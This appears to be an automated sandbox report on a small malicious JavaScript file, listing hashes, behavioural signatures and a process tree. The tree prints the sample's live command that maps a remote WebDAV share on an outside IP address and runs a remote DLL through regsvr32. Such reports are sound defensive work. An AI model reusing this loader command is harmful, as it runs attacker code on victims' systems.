Analysis
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max time kernel
122s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
21/07/2024, 14:51
Static task
static1
Behavioral task
behavioral1
Sample
2581041382823712049.js
Resource
win7-20240708-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
2581041382823712049.js
Resource
win10v2004-20240709-en
5 signatures
150 seconds
General
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Target
2581041382823712049.js
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Size
4KB
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MD5
89f65de5f644cad8ed10977bc1aafbcd
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SHA1
bc5754143adc17abbd89696fc729c94faeaaffa4
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SHA256
a34b19c991d5a73a7399927877c6a36ee2561674ca520fa7922fb29c55870167
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SHA512
27e5e3cdec366936c00e037b95a69a2d7595e84805a34d592091a1c7137746663e37ab29a4d0c9b12f302165bc0feaaf79d73f193aa867e23ddc7437799584a3
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SSDEEP
96:Z6C/EZGfEmEZ36eEZkccc7ld5EZREZREZzAk1Lccc7ld5EZREZREZzrJcN+:5/EEMmEtVEeccc7r5E7E7EFAk1Lccc7q
Score
3/10
Malware Config
Signatures
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 900 wrote to memory of 1648 900 wscript.exe 30 PID 900 wrote to memory of 1648 900 wscript.exe 30 PID 900 wrote to memory of 1648 900 wscript.exe 30 PID 1648 wrote to memory of 2992 1648 cmd.exe 32 PID 1648 wrote to memory of 2992 1648 cmd.exe 32 PID 1648 wrote to memory of 2992 1648 cmd.exe 32
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\2581041382823712049.js1⤵
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\3395798232200.dll2⤵
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:2992
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